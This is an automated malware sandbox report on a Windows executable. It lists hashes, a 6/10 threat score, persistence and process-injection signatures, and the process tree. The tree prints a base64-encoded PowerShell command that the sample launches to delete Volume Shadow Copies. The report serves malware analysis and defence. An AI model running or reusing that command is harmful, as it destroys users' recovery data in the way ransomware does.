Analysis
- max time kernel
84s - max time network
134s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
24/01/2022, 00:51
General
- Target dffded6bd5b6a13e6625b48336ebb921dd2f980cf29bed0abfc1ed117dd0c080.exe
- Size 166KB
- Sample220124-a7q93ahaam
- SHA256 dffded6bd5b6a13e6625b48336ebb921dd2f980cf29bed0abfc1ed117dd0c080
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 2 IoCs
- Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\dffded6bd5b6a13e6625b48336ebb921dd2f980cf29bed0abfc1ed117dd0c080.exe"C:\Users\Admin\AppData\Local\Temp\dffded6bd5b6a13e6625b48336ebb921dd2f980cf29bed0abfc1ed117dd0c080.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/444-123-0x000001C7BE3C0000-0x000001C7BE3E2000-memory.dmp
memory/444-126-0x000001C7BE580000-0x000001C7BE5F6000-memory.dmp
memory/444-133-0x000001C7A6100000-0x000001C7BE400000-memory.dmp
memory/444-134-0x000001C7A6100000-0x000001C7BE400000-memory.dmp